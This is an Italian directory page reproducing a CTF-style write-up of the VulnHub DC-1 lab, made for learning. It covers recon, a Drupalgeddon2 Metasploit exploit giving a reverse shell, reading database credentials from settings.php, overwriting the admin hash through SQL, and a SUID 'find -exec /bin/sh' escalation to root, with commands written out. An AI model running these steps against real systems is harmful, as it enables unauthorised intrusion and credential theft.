Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
VulnHub-DC1-Writeup — VulnHub DC-1 boot-to-root — sfruttando CVE-2018-7600 (Drupalgeddon2) per RCE, estraendo le credenziali del database da settings.php, forgiando l'hash della password di admin ed eseguendo l'escalation a root tramite SUID find. | Kitploit
Strumenti/GitHubGitHub/prapul1/vulnhub-dc1-writeup
Escalation di PrivilegiRicognizioneFramework di ExploitScansione PorteAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPost-ExploitCTF

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Penetration Testing
Configurazione Errata
Apprendimento e Formazione
GitHubprapul1/vulnhub-dc1-writeup

VulnHub-DC1-Writeup

VulnHub DC-1 boot-to-root — sfruttando CVE-2018-7600 (Drupalgeddon2) per RCE, estraendo le credenziali del database da settings.php, forgiando l'hash della password di admin ed eseguendo l'escalation a root tramite SUID find.

Vedi Repository
172 mesi faNon ancora revisionato

VulnHub-DC1-Writeup

"Writeup di laboratorio di penetration testing che documentano catene di attacco complete — dalla ricognizione alla root."

🔓 VulnHub — DC-1 Boot-to-Root Writeup

Difficoltà: Principiante–Intermedio
Piattaforma: VulnHub
Obiettivo: Catturare tutte e 4 le flag e ottenere la compromissione completa a livello root
Sistema Attaccante: Kali Linux (VirtualBox — Rete NAT)
Sistema Target: Debian Linux (CMS Drupal 7)


📌 Indice

  1. Configurazione del Lab
  2. Ricognizione & Enumerazione
  3. Sfruttamento — Esecuzione di Codice Remota
  4. Post-Sfruttamento — Stabilizzazione della Shell
  5. Flag 1 — Enumerazione del Server Web
  6. Flag 2 — Estrazione delle Credenziali del Database
  7. Flag 3 — Accesso al Pannello Admin tramite Manipolazione degli Hash
  8. Flag 4 & Root — Privilege Escalation via SUID
  9. Riepilogo di Competenze e Strumenti
  10. Punti Chiave

🛠 Configurazione del Lab

ComponenteDettagli
HypervisorVirtualBox

Entrambe le macchine virtuali sono state configurate nella stessa Rete NAT in VirtualBox per consentire la comunicazione tra VM mantenendo un ambiente di laboratorio isolato.


🔍 Ricognizione & Enumerazione

Scoperta degli Host

Usato arp-scan per identificare tutti gli host attivi sulla sottorete locale:

root@kitploit:~
sudo arp-scan -l

Risultato: Target individuato su 10.0.2.3

Scansione dei Servizi e delle Porte

Eseguita una scansione Nmap completa con rilevamento della versione e script predefiniti:

root@kitploit:~
sudo nmap -sV -sC 10.0.2.3

Risultati principali:

PortaServizioVersione
22/tcpSSHOpenSSH 6.0p1
80/tcpHTTPApache 2.2.22
111/tcprpcbind—

🔑 Critico: Nmap ha identificato esplicitamente l'applicazione web come Drupal 7 tramite gli header HTTP del generatore — confermando una versione CMS nota e vulnerabile.


💥 Sfruttamento — Esecuzione di Codice Remota

Vulnerabilità: Drupalgeddon2 (CVE-2018-7600)

Drupal 7 è affetto da una vulnerabilità critica di Esecuzione di Codice Remota (RCE) nell'API dei Form. Un attaccante non autenticato può inviare una richiesta HTTP appositamente costruita che il backend esegue come comando di sistema — senza richiedere alcuna autenticazione.

Avviato Metasploit Framework:

root@kitploit:~
msfconsole
search drupalgeddon
use exploit/multi/http/drupal_drupageddon2
set RHOSTS 10.0.2.3
exploit

Risultato: Reverse shell Meterpreter aperta con successo come www-data (l'utente del processo del server web).


🐚 Post-Sfruttamento — Stabilizzazione della Shell

Passati da Meterpreter a una shell Linux nativa e stabilizzata tramite Python PTY:

root@kitploit:~
shell
python -c 'import pty; pty.spawn("/bin/bash")'

Risultato: Shell bash completamente interattiva come www-data@DC-1 dentro /var/www


🚩 Flag 1 — Enumerazione del Server Web

root@kitploit:~
ls -la /var/www
cat flag1.txt

Contenuto della Flag 1:

root@kitploit:~
Every good CMS needs a config file - and so do you.

💡 Suggerimento: Punta direttamente al file di configurazione di Drupal — settings.php


🚩 Flag 2 — Estrazione delle Credenziali del Database

Navigato nella directory di configurazione di Drupal e ispezionato il file delle impostazioni:

root@kitploit:~
cd /var/www/sites/default
cat settings.php

Credenziali scoperte incorporate nell'array $databases:

CampoValore
Databasedrupaldb
Nome utentedbuser
PasswordR0ck3t

Contenuto della Flag 2 (dai commenti del file):

root@kitploit:~
Brute force and dictionary attacks aren't the only ways to gain access
(and you WILL need access). What can you do with these credentials?

💡 Suggerimento: Usa le credenziali per accedere al backend MySQL — senza forzare nulla con brute force.


🚩 Flag 3 — Accesso al Pannello Admin tramite Manipolazione degli Hash

Passo 1: Enumerazione del Database

root@kitploit:~
mysql -u dbuser -pR0ck3t
use drupaldb;
select uid, name, pass from users;

Trovate password hashate per admin e fred — entrambe usano lo schema di hashing $S$ di Drupal (basato su SHA-512).

Passo 2: Generare un Hash Password Personalizzato

Invece di craccare l'hash esistente, ho usato lo script PHP integrato di Drupal per generarne uno nuovo:

root@kitploit:~
cd /var/www
php scripts/password-hash.sh password123

Output: Un hash $S$D... valido per password123

Passo 3: Sovrascrivere la Password Admin via SQL

root@kitploit:~
use drupaldb;
update users set pass='$S$DUxDdAfJe08Z9viU5Tly0uUZXFThRFMpeBwz4T07HB6Rj0Fm2JTp' where name='admin';

Accesso effettuato a http://10.0.2.3 come admin / password123 con successo.

Contenuto della Flag 3 (trovato nel pannello contenuti admin di Drupal):

root@kitploit:~
Special PERMS will help FIND the passwd - but you'll need to -exec
that command to work out how to get what's in the shadow.

💡 Suggerimento: Misconfigurazione del binario SUID sul comando find — vettore di privilege escalation identificato.


🚩 Flag 4 & Root — Privilege Escalation via SUID

Passo 1: Enumerare gli Utenti di Sistema

root@kitploit:~
cat /etc/passwd

Individuato l'utente flag4 con home directory /home/flag4.

root@kitploit:~
cat /home/flag4/flag4.txt

Contenuto della Flag 4:

root@kitploit:~
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?

Passo 2: Sfruttamento SUID tramite find

Il binario find aveva il bit SUID impostato, il che significa che viene eseguito con i privilegi del proprietario del file (root) indipendentemente da chi lo esegue.

root@kitploit:~
find . -exec /bin/sh \;
whoami
# root

Passo 3: Flag di Root

root@kitploit:~
cd /root
cat thefinalflag.txt
root@kitploit:~
Well done!!! Hope you enjoyed DC-1!

Compromissione totale di root ottenuta. ✅


🛠 Riepilogo di Competenze e Strumenti

Strumenti Utilizzati

Competenze Dimostrate

  • ✅ Ricognizione di Rete e Scoperta degli Host
  • ✅ Fingerprinting dei Servizi e Identificazione del CMS
  • ✅ Ricerca CVE e Utilizzo di Exploit Pubblici
  • ✅ Metasploit Framework — Distribuzione del Payload
  • ✅ Post-Sfruttamento e Movimento Laterale
  • ✅ Enumerazione del Database ed Estrazione delle Credenziali
  • ✅ Creazione di Hash Password e Iniezione SQL via CLI
  • ✅ Audit dei Binari SUID Linux
  • ✅ Privilege Escalation a Root

📚 Punti Chiave

Da una prospettiva offensiva:

  • Le piattaforme CMS non aggiornate (anche 1–2 versioni principali indietro) sono banalmente sfruttabili tramite CVE pubbliche e moduli Metasploit.
  • I file di configurazione come settings.php contengono spesso credenziali in chiaro che permettono a un attaccante di passare dall'accesso web al pieno controllo del database.
  • Le misconfigurazioni SUID su binari comuni come find, vim o python sono uno dei vettori di privilege escalation più affidabili negli ambienti Linux.

Da una prospettiva difensiva:

  • Aggiornare sempre tempestivamente le piattaforme CMS — per Drupalgeddon2 le patch erano disponibili; la vulnerabilità è stata il ritardo nell'applicarle.
  • I segreti (credenziali del database) non devono mai trovarsi in file di configurazione accessibili dal web senza crittografia o astrazione tramite variabili d'ambiente.
  • Controllare regolarmente i binari SUID: find / -perm -4000 -type f 2>/dev/null dovrebbe far parte di qualsiasi checklist di hardening Linux.

⚠️ Avvertenza

Questo writeup è strettamente a scopo educativo e documenta attività svolte in un ambiente di laboratorio isolato e legale. Non tentare mai queste tecniche contro sistemi che non possiedi o per i quali non hai un'autorizzazione scritta esplicita al test.


Completato da Prapul | Profilo TryHackMe | GitHub

Scarica lo strumento
Modalità di ReteRete NAT (entrambe le VM nella stessa sottorete)
Macchina AttaccanteKali Linux
Macchina TargetDC-1 (VulnHub)
IP Target10.0.2.3 (scoperto tramite arp-scan)
StrumentoScopo
arp-scanScoperta degli host sulla sottorete locale
nmapScansione delle porte e fingerprinting dei servizi
Metasploit FrameworkConsegna dell'exploit CVE-2018-7600 e reverse shell
MySQL CLIEnumerazione del database e manipolazione delle credenziali
PHP (password-hash.sh)Generazione nativa di hash Drupal
Python PTYStabilizzazione della shell
VirtualBoxConfigurazione dell'ambiente di laboratorio isolato